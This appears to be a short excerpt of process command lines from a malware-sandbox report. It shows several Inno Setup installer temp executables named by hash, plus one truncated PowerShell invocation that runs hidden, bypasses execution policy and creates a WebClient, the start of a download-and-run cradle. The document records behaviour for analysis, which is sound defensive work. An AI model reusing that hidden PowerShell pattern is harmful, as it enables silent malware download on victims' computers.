"C:\Users\Qlwpcgcn\AppData\Local\Temp\is-I0KJ9.tmp\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899.tmp" /SL5="$30336,975597,131584,c:\users\user\downloads\6908790199785be7fc6c4eeb1fe426ee1b66cc0b_0001406899"

顯示更多

powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "try { $WebClient = New-Object System.Net.WebClient

"C:\Users\Czxnhiuo\AppData\Local\Temp\is-L4OPD.tmp\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661.tmp" /SL5="$40356,931898,131584,c:\users\user\downloads\cc1bd23b0c7ff5da8ff996717b3969b7ebb9c67b_0001363661"

"C:\Users\Rziyzfeg\AppData\Local\Temp\is-DLUCN.tmp\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173.tmp" /SL5="$1C02AC,975756,131584,c:\users\user\downloads\7604b8cd9736a016748a1d2d1fe3eb9ec9db1bc9_0001407173"